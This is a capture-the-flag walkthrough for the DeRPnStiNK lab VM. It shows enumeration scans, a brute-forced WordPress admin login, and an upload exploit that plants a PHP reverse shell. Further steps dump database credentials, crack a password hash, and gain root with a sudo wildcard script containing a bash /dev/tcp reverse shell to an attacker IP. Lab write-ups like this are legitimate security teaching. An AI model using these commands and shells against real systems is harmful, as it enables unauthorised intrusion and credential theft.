Let firs start off with an nmap scan of the remote host.
root@ubuntu:~# nmap -sS -sV -sC -T5 -O 192.168.0.30 Starting Nmap 7.60 ( https://nmap.org ) at 2019-10-13 21:25 MDT Nmap scan report for derpnstink.local (192.168.0.30) Host is up (0.0049s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 12:4e:f8:6e:7b:6c:c6:d8:7c:d8:29:77:d1:0b:eb:72 (DSA) | 2048 72:c5:1c:5f:81:7b:dd:1a:fb:2e:59:67:fe:a6:91:2f (RSA) | 256 06:77:0f:4b:96:0a:3a:2c:3b:f0:8c:2b:57:b5:97:bc (ECDSA) |_ 256 28:e8:ed:7c:60:7f:19:6c:e3:24:79:31:ca:ab:5d:2d (EdDSA) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-robots.txt: 2 disallowed entries |_/php/ /temporary/ |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: DeRPnStiNK MAC Address: 08:00:27:D1:5F:6A (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.8 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.71 seconds root@ubuntu:~#
As you can see we found two open ports 22 and 80. Lets navigate to the website and see what it looks like.
Our next task is to run nikto against the host to see if it finds anything interesting.
root@ubuntu:~/src/nikto/program# ./nikto.pl -host 192.168.0.30 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.0.30 + Target Hostname: 192.168.0.30 + Target Port: 80 + Start Time: 2019-10-13 21:27:56 (GMT-6) --------------------------------------------------------------------------- + Server: Apache/2.4.7 (Ubuntu) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Entry '/temporary/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + "robots.txt" contains 2 entries which should be manually viewed. + Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.39). Apache 2.2.34 is the EOL for the 2.x branch. + Server may leak inodes via ETags, header found with file /, inode: 512, size: 55dcb6aaa2f50, mtime: gzip + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.22 + OSVDB-3233: /icons/README: Apache default file found. + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 7948 requests: 0 error(s) and 11 item(s) reported on remote host + End Time: 2019-10-13 21:28:49 (GMT-6) (53 seconds) --------------------------------------------------------------------------- + 1 host(s) tested root@ubuntu:~/src/nikto/program#
Nikto came back with a directory for '/temporary/' in robots.txt. If we visit robots.txt we find:
User-agent: * Disallow: /php/ Disallow: /temporary/
We check both the directories with no success. But if we view-source on the main page we find this in the source code. <-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live -->
If we browse to the webnote directory we are greeted with this command output of a user named 'stinky' running a whois query on the server. So this gives us a user name on the system stinky.
I decided to run dirb on the remote host to see what it finds.
---- Scanning URL: http://192.168.0.30/ ---- ==> DIRECTORY: http://192.168.0.30/css/ + http://192.168.0.30/index.html (CODE:200|SIZE:1298) ==> DIRECTORY: http://192.168.0.30/javascript/ ==> DIRECTORY: http://192.168.0.30/js/ ==> DIRECTORY: http://192.168.0.30/php/ + http://192.168.0.30/robots.txt (CODE:200|SIZE:53) + http://192.168.0.30/server-status (CODE:403|SIZE:292) ==> DIRECTORY: http://192.168.0.30/temporary/ ==> DIRECTORY: http://192.168.0.30/weblog/ + http://192.168.0.30/php/info.php (CODE:200|SIZE:0) ==> DIRECTORY: http://192.168.0.30/php/phpmyadmin/
It looks like we got a wordpress installation at /weblog/ and a phpmyadmin installation at /php/phpmyadmin. if we visit both sites we see thier respective pages.
Its now time to run wpscan on the /weblog/ directory. After running wpscan enumerating users and plugins we get back some promising results. We brute-forced the 'admin' user and found a vulnerable plugin for wordpress.
[+] admin | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] unclestinky | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [SUCCESS] - admin / admin Trying unclestinky / seb Time: 00:07:48 <========================================================== > (17884 / 22286) 80.24% ETA: 00:01:55 [i] Valid Combinations Found: | Username: admin, Password: admin [+] slideshow-gallery | Location: http://derpnstink.local/weblog/wp-content/plugins/slideshow-gallery/ | Last Updated: 2019-07-12T13:09:00.000Z | [!] The version is out of date, the latest version is 1.6.12
Our next task is to try and exploit this slideshow-gallery bug and upload a shell to the box. The shell I will be using is actually a reverse connect shell written in php over at pentestmonkey.
python wp_gallery_slideshow_146_suv.py -t http[s]://192.168.0.30/weblog/ -u admin -p admin -f php-reverse-shell.php
Once we run the exploit we vist the page http://192.168.0.30/weblog/wp-content/uploads/slideshow-gallery/php-reverse-shell.php and get out connect back shell.
root@ubuntu:~# nc -l -p 4444 Linux DeRPnStiNK 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux 09:01:52 up 1 day, 21:46, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ whoami www-data $
We cat the /etc/passwd file and find two users, stinky and mrderp. we found the username stinky earlier in webnotes directory.
stinky:x:1001:1001:Uncle Stinky,,,:/home/stinky:/bin/bash mrderp:x:1000:1000:Mr. Derp,,,:/home/mrderp:/bin/bash
We find the database login details in wp-config.php and we connect to the database and query the wp_users table to extract the password hashes.
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'mysql');
| 1 | unclestinky | $P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41 |
| 2 | admin | $P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/ |
We load up John the ripper and crack the hash which equates to 'wedgie57' we will use this password to try and login to the stinky account on the box.
$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
Using default input encoding: UTF-8 Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3]) Cost 1 (iteration count) is 8192 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:05 0.53% (ETA: 21:10:23) 0g/s 17618p/s 17618c/s 17618C/s austin101..861204 wedgie57 (?) 1g 0:00:02:31 DONE (2019-10-12 20:57) 0.006607g/s 18476p/s 18476c/s 18476C/s wedner10..wedder15 Use the "--show --format=phpass" options to display all of the cracked passwords reliably Session completed
Once we found the password to stinkys user account on wordpress we try to su to the user stinky on the box with the supplied password with success.
www-data@DeRPnStiNK:/$ su stinky su stinky Password: wedgie57 stinky@DeRPnStiNK:/$ id id uid=1001(stinky) gid=1001(stinky) groups=1001(stinky) stinky@DeRPnStiNK:/$
It worked! Now lets move in to the home directory of stinky and see what it has to offer. After browsing around a bit I find a flag.
stinky@DeRPnStiNK:~/Desktop$ cat flag.txt cat flag.txt flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb) stinky@DeRPnStiNK:~/Desktop$
If we investigate further we find a pcap file in /Documents which seem of some interest. I downloaded it to my box and fired up wireshark.
We find a login for mrderp in the pcap file.
Password: derpderpderpderpderpderpderp
We can try and su to mrderp in the current shell and see if the password works.
stinky@DeRPnStiNK:~/Documents$ su mrderp su mrderp Password: derpderpderpderpderpderpderp mrderp@DeRPnStiNK:/home/stinky/Documents$ id id uid=1000(mrderp) gid=1000(mrderp) groups=1000(mrderp) mrderp@DeRPnStiNK:/home/stinky/Documents$
We check sudo permissions first for the user mrderp.
mrderp@DeRPnStiNK:/home/stinky/Documents$ sudo -l
sudo -l
[sudo] password for mrderp: derpderpderpderpderpderpderp
Matching Defaults entries for mrderp on DeRPnStiNK:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mrderp may run the following commands on DeRPnStiNK:
(ALL) /home/mrderp/binaries/derpy*
mrderp@DeRPnStiNK:/home/stinky/Documents$
We can run sudo but only for binaries located in the binaries directory and starting with the name derpy*. Lets create the directory /binaries/ and our own binary to spawn a root shell on the host.
mrderp@DeRPnStiNK:~/binaries$ echo '#!/bin/bash' >> derpy.sh mrderp@DeRPnStiNK:~/binaries$ echo 'bash -i >& /dev/tcp/192.168.0.42/444 0>&1' >> derpy.sh mrderp@DeRPnStiNK:~/binaries$ sudo ./derpy.sh
Once we run the script we check our terminal for a succesufful connect back to our local host.
root@DeRPnStiNK:~/binaries# id id uid=0(root) gid=0(root) groups=0(root) root@DeRPnStiNK:~/binaries# whoami whoami root root@DeRPnStiNK:~/binaries#
We got ROOT! so now lets see if we can find the final flag of the challenge.
root@DeRPnStiNK:/root/Desktop# ls -l ls -l total 4 -rw-r--r-- 1 root root 180 Jan 9 2018 flag.txt root@DeRPnStiNK:/root/Desktop# cat flag.txt cat flag.txt flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd) Congrats on rooting my first VulnOS! Hit me up on twitter and let me know your thoughts! @securekomodo root@DeRPnStiNK:/root/Desktop#And thats all there is too it.
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